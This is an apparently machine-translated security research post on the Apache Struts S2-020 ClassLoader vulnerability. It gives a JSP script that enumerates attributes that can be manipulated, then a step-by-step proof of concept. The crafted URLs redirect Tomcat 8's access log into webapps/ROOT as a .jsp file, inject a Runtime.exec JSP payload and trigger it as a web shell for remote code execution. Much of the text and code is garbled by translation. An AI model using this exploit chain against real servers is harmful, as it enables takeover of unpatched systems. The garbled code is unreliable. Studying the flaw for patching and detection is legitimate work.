The Struts S2-020 announcement has been published for some time. We all know that this vulnerability can cause DOS, file download, and other dangers. We believe that major vendors have also taken corresponding security measures. Today, I would like to share with you some research on this vulnerability, including how to cause RCE in Tomcat 8. The purpose is to introduce some of the shortcomings.
1. attribute listOne difficulty of this vulnerability analysis lies in the use of ognl class. when this method is used to traverse attributes, the dynamic class in the actual running environment is obtained. Therefore, it is very difficult to perform static analysis only. For example, classLoader is different in different containers. So I wrote a script to automatically enumerate such attributes: (this script only takes into account the basic attributes such as int, string, and boolean, and does not take into account complicated situations such as arrays, in actual situations, more results will be returned)
<% @ Page language = "java" import = "java. lang. reflect. *" %> <%! Public void processClass (Object instance, javax. servlet. jsp. JspWriter out, java. util. HashSet set, String poc) {try {Class <?> C = instance. getClass (); set. add (instance); Method [] allMethods = c. getMethods (); for (Method m: allMethods) {if (! M. getName (). startsWith ("set") {continue;} if (! M. toGenericString (). startsWith ("public") {continue;} Class <?> [] PType = m. getParameterTypes (); if (pType. length! = 1) continue; if (pType [0]. getName (). equals ("java. lang. string ") | pType [0]. getName (). equals ("boolean") | pType [0]. getName (). equals ("int") {String fieldName = m. getName (). substring (3, 4 ). toLowerCase () + m. getName (). substring (4); out. print (poc + ". "+ fieldName +" <br> ") ;}}for (Method m: allMethods) {if (! M. getName (). startsWith ("get") {continue;} if (! M. toGenericString (). startsWith ("public") {continue;} Class <?> [] PType = m. getParameterTypes (); if (pType. length! = 0) continue; if (m. getReturnType () = Void. TYPE) continue; Object o = m. invoke (instance); if (o! = Null) {if (set. contains (o) continue; processClass (o, out, set, poc + ". "+ m. getName (). substring (3, 4 ). toLowerCase () + m. getName (). substring (4) ;}} catch (java. io. IOException x) {x. printStackTrace ();} catch (java. lang. illegalAccessException x) {x. printStackTrace ();} catch (java. lang. reflect. invocationTargetException x) {x. printStackTrace () ;}%> <% java. util. hashSet set = new java. util. hashSet <Object> (); String poc = "class. classLoader "; example. helloWorld action = new example. helloWorld (); processClass (action. getClass (). getClassLoader (), out, set, poc); %> execute this jsp in the blank app of Struts2.3.16 under tomcat 8.0.3. The output result is as follows: (some non-related attributes are omitted) class. classLoader. resources. context. parent. pipeline. first. encodingclass. classLoader. resources. context. parent. pipeline. first. directoryclass. classLoader. resources. context. parent. pipeline. first. checkExistsclass. classLoader. resources. context. parent. pipeline. first. renameOnRotateclass. classLoader. resources. context. parent. pipeline. first. fileDateFormatclass. classLoader. resources. context. parent. pipeline. first. prefixclass. classLoader. resources. context. parent. pipeline. first. rotatableclass. classLoader. resources. context. parent. pipeline. first. bufferedclass. classLoader. resources. context. parent. pipeline. first. suffixclass. classLoader. resources. context. parent. pipeline. first. localeclass. classLoader. resources. context. parent. pipeline. first. requestAttributesEnabledclass. classLoader. resources. context. parent. pipeline. first. enabledclass. classLoader. resources. context. parent. pipeline. first. conditionUnlessclass. classLoader. resources. context. parent. pipeline. first. conditionIfclass. classLoader. resources. context. parent. pipeline. first. patternclass. classLoader. resources. context. parent. pipeline. first. conditionclass. classLoader. resources. context. parent. pipeline. first. asyncSupportedclass. classLoader. resources. context. parent. pipeline. first. domainclass. classLoader. resources. context. parent. pipeline. first. next. asyncSupportedclass. classLoader. resources. context. parent. pipeline. first. next. domainclass. classLoader. resources. context. parent. pipeline. first. next. next. asyncSupportedclass. classLoader. resources. context. parent. pipeline. first. next. next. domain ......
This means that at least 200 boolean, int, or string attributes in Tomcat 8 can be manipulated. modification may not necessarily cause harm, however, it should at least indicate the potential risks of this vulnerability.
2. POCAfter analysis, it is found that the following method can cause the effect of webshell, which eventually leads to RCE under Tomcat. In the above attributes, there are several file names that control the access log generated on tomcat. The default value is as follows:
class.classLoader.resources.context.parent.pipeline.first.directory =logsclass.classLoader.resources.context.parent.pipeline.first.prefix =localhost_access_logclass.classLoader.resources.context.parent.pipeline.first.suffix = .txtclass.classLoader.resources.context.parent.pipeline.first.fileDateFormat =.yyyy-mm-dd
By default, the generated access log is located in the logsdirectory (in parallel with webshells. The file name is localhost_access_log.2014-03-09.txt. However, by modifying the preceding attribute value, jspwebshell can be written to the webapps directory. The procedure is as follows (the blank app under struts 2.3.16 is used as an example): 1. Access the following url to change the attribute:
http://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOThttp://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.prefix=shellhttp://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
2. access the url below to trigger tomcat switch log (this has a pitfall, this attribute must be a number, set to 1 here ), then tomcat's access log will be recorded in webapps/ROOT/shell1.jsp: http: // 127.0.0.1/struts2-blank/example/HelloWorld. action? Class. classLoader. resources. context. parent. pipeline. first. fileDateFormat = 1 3. by sending a packet to access the following request, insert the code http: // 127.0.0.1/struts2-blank/example/aaaa in the access log. jsp? A = <% runtime.getruntime(cmd.exe c ("calc"); %> after accessing the preceding request, you can see that webapps/ROOT/shell1.jsp is generated. The content is as follows: 4. access the following url based on the previously set parameters and observe that the shell executes http: // 127.0.0.1/shell1.jsp through analysis. The class in the POC above. classLoader. resources. context. parent. pipeline. the first attribute is actually
Org. apache. catalina. valves. AccessLogValve. There is a related configuration in conf/server. xml: <! -- Access log processes allexample. documentation at:/docs/config/valve.html Note: The pattern used isequivalent to using pattern = "common" --> <ValveclassName = "org. apache. catalina. valves. accessLogValve "directory =" logs "prefix =" localhost_access_log "suffix = ". txt "pattern =" % h % l % u % t & quot; % r & quot; % s % B "/>
Why does changing dataformat trigger switching logs? Note the following attribute. The default value is true. class. classLoader. resources. context. parent. pipeline. first. rotatable. rotate is called every time a Log is logged:
publicvoid log(CharArrayWriter message) {rotate();…
The rotate checks whether the current upload IME is the same as the current tsDate after the format is passed. If the date is different, you need to switch the log file:
public void rotate() { if (this.rotatable) { long systime =System.currentTimeMillis(); if (systime - this.rotationLastChecked> 1000L) synchronized (this) { if (systime -this.rotationLastChecked > 1000L) { this.rotationLastChecked = systime; String tsDate =this.fileDateFormatter.format(new Date(systime)); if (!this.dateStamp.equals(tsDate)){ close(true); this.dateStamp = tsDate; open(); } } } } }
We have modified the dateFormat before, so the log switch is triggered. This feature has nothing to do with the specific OS, which is determined by the tomcat code. Both linux and windows verify that the problem exists.